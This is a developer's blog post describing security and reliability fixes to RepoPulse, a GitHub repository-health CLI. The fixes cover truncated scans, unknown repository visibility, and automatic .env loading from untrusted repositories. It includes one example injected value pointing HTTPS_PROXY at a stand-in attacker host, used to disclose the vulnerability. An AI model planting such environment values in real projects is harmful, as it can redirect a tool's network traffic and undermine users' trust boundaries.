My repository health tool gave Chromium a score. It had only seen part of it.

#security #github #python #opensource

I build a small CLI called RepoPulse. You point it at a GitHub repository — or a local folder — and it gives you a health report: a score out of 100, pass/warn/fail checks for things like README quality, license, tests, CI workflows, and sensitive file names, plus recommendations you can act on.

Last week someone pasted an external security review of it into my terminal. Five findings — security and engineering issues. None were loud crashes; all were the kind of mistake that erodes trust in an analysis tool's results.

This is a write-up of the two that changed how I think about building analysis tools — and the fixes, which shipped the same day.

The score that looked complete

The second finding read, roughly:

Local scans silently stop after 5000 files, and the GitHub path uses the recursive tree API without keeping the truncated flag. A huge repository can get a score that looks complete while part of its files never entered the scan.

I went and looked. Both halves were true.

The local directory walk had a safety cap:

MAX_FILES = 5000

for dirpath, dirnames, filenames in os.walk(root):
    for filename in filenames:
        if len(files) >= max_files:
            return files          # <- silently done

And the GitHub client fetched the recursive tree and kept only the part it wanted:

data = self._get(f".../git/trees/{ref}?recursive=1").json()
return data.get("tree", [])       # <- data["truncated"] dropped on the floor

GitHub's tree API sets truncated: true when a repository is too large to list in one response. My code read that field's sibling and threw the flag away.

Here's why this class of bug is nastier than a crash. A crash tells you the tool failed. An exception tells you where. A silent cap tells you nothing — it hands you a confident, complete-looking number that happens to describe a fraction of the repository. The tool doesn't fail; it projects more certainty than it actually has. For an analysis tool, false confidence is the worst possible failure mode.

The fix: carry the doubt all the way to the user

The fix was mechanically simple and philosophically the whole point: when coverage is partial, the doubt must travel with the result.

Both file-listing paths now return what they found and whether they finished:

def iter_local_files(root, max_files=MAX_FILES) -> tuple[list[FileItem], bool]:
    ...
    return files, truncated

The report model gained one additive field, scan_truncated, and every human-facing format prints an explicit warning. In a test I ran against Chromium with the released 0.3.6 — a repository genuinely too large for the tree API — the output was:

chromium/chromium: 62 / 100 - Fair
Warning: File listing was truncated (repository too large for a full listing);
checks ran on a partial file list and results may be incomplete.

Same score the old code would have shown. Completely different meaning. (Scores shift as repositories and checks evolve — treat that 62 as a documented run, not a fixed benchmark.)

One detail for the automation crowd: the JSON contract treats additive fields as non-breaking, so scan_truncated landed without a version bump. A later fix in the same batch — more on it below — did change a field's type, and that one forced schema_version 1.0 → 1.1. Having written rules for "what counts as breaking" before you need them turns these decisions into lookups instead of debates.

The finding that actually scared me

The truncation bug damages trust. The fifth finding had teeth:

The CLI auto-loads .env via load_dotenv(). RepoPulse is a tool designed to scan repositories you may not trust, while it loads environment files from wherever it happens to run.

Sit with the combination for a second. The tool's core use case is: clone some repository you found, cd into it, run repopulse scan .. And on startup, the tool called load_dotenv() — which searches for a .env file and loads it into the process environment.

Where python-dotenv searches depends on how the process was started. I tested the paths empirically before touching anything, and in common invocation contexts the search lands inside the scanned repository — the current directory in some contexts, or a parent of the virtualenv in the very common "create .venv inside the project" setup.

I reproduced the injection locally before fixing it: a .env file inside the scan context could influence RepoPulse's process environment and change the network settings the requests library uses — proxy variables, for instance:

HTTPS_PROXY=http://attacker.example:8080

To be precise about the blast radius: redirecting HTTPS through a proxy does not by itself expose the request contents — TLS to api.github.com is tunneled end-to-end, so the Authorization header stays encrypted. Escalating to actual token theft would take additional tampering with TLS trust. But that framing misses the point. For a tool whose job is scanning repositories you may not trust, the repository being scanned must have no way at all to influence the environment the scanner runs in. Environment injection across that boundary is the vulnerability; everything after it is just a question of how far an attacker can push.

So the fix was not "search for .env more carefully" or "load only specific keys." The fix was deletion:

-from dotenv import load_dotenv
-
-def load_environment() -> None:
-    load_dotenv()

The dependency is gone from the project entirely. The GitHub token now comes from exactly two places: the --token flag, or the process environment that you or your CI set explicitly. Convenience features and trust boundaries don't compose — when a tool's job is handling untrusted input, every "it just works" path is a path an attacker can walk too.

Saying "I don't know" costs something. Pay it.

A smaller finding from the same review: offline local scans reported "private": false for every repository — including a clone of a private one. The tool wasn't lying maliciously; it just had a bool field and had to put something there.

That's the trap. The schema had no way to say unknown, so the code guessed, and the guess looked exactly like a verified fact. The fix made the field nullable — null in JSON, "Unknown" in reports — and that type change is what bumped the schema version. One version bump is the honest price of admitting uncertainty, and it's cheap compared to automation downstream treating a guess as truth.

Three findings, one principle: an analysis tool must never present a guess, a partial result, or a default as a verified fact. Truncation gets a flag. Unknown visibility gets a null. And anything the tool can't verify, it should say so — in the machine output, not just in prose a human might read.

What shipped

All five findings closed in v0.3.6: partial scans are surfaced explicitly, the tool says "unknown" when it cannot verify repository visibility, .env loading is gone, GitHub Actions are pinned to full commit SHAs with narrowed workflow permissions, and internal operational identifiers were moved out of tracked files. The fixes were written test-first, and each one became a standing rule in the project's contributor docs — so the lessons outlive my memory of the review.

If you want the honest-coverage behavior in your own CI, it's two lines now:

- uses: 3ssiri/RepoPulse@v1
  with:
    fail-under: "70"

The report lands in your workflow run summary, and score, grade, and truncated come out as step outputs — so your pipeline can distinguish "this repository scored 62" from "this repository scored 62 of the part we could see."

That distinction is the whole article, really.

RepoPulse is MIT-licensed: pip install repopulse-cli (the CLI is repopulse; the unhyphenated PyPI name is an unrelated package). Repo: https://github.com/3ssiri/RepoPulse — false-positive reports from real repositories are the contribution I want most.